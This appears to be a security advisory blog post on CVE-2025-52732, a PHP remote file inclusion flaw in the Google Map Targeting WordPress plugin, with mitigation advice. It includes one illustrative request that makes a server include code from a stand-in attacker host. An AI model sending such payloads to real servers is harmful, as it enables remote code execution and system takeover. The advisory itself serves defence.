{"id":64231,"date":"2025-08-22T04:20:06","date_gmt":"2025-08-22T04:20:06","guid":{"rendered":""},"modified":"2025-08-31T10:38:39","modified_gmt":"2025-08-31T16:38:39","slug":"cve-2025-52732-php-remote-file-inclusion-vulnerability-in-google-map-targeting-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52732-php-remote-file-inclusion-vulnerability-in-google-map-targeting-plugin\/","title":{"rendered":"CVE-2025-52732: PHP Remote File Inclusion Vulnerability in Google Map Targeting Plugin<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The CVE-2025-52732 is a high-risk vulnerability in the Google Map Targeting plugin, developed by RealMag777, that affects versions up to 1.1.6. This vulnerability, known as PHP Remote File Inclusion (RFI), could allow attackers to execute arbitrary code on the server that runs this software. This could potentially compromise the entire system or lead<\/a> to significant data leakage. Given the widespread usage of Google Map Targeting for various online applications, this vulnerability could have far-reaching and severe<\/a> impacts if not addressed promptly and effectively.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-52732
\nSeverity: High (CVSS: 8.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system compromise and data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Google Map Targeting | n\/a through 1.1.6<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The PHP Remote File Inclusion (RFI) vulnerability occurs due to improper control of a filename for an include\/require statement in the PHP program of the Google Map Targeting<\/a> plugin. This flaw allows an attacker to include a file from a remote<\/a> server, which could contain harmful PHP code. When this code is executed<\/a>, it can result in unauthorized actions, such as data manipulation, data theft or even complete system takeover.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The conceptual example below illustrates how an attacker might exploit this vulnerability<\/a>. They would send a malicious HTTP GET request, including a URL of a remote file containing the malicious code<\/a> in the request parameter.<\/p>\n

GET \/index.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: vulnerablewebsite.com<\/code><\/pre>\n
This request would force the server to include and execute the ‘malicious.php’ file from the attacker\u2019s server, leading to the potential compromise of the system<\/a>.<\/p>\n
Mitigation and Prevention<\/strong><\/p>\n
The best way to mitigate this vulnerability is by applying the patch provided by the vendor as soon as it becomes available. However, as a temporary measure, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to block or alert on such malicious requests. It is also recommended to disable allow_url_include and allow_url_fopen in the PHP configuration, as this would prevent the inclusion of files from remote<\/a> servers.<\/p>\n","protected":false},"excerpt":{"rendered":"
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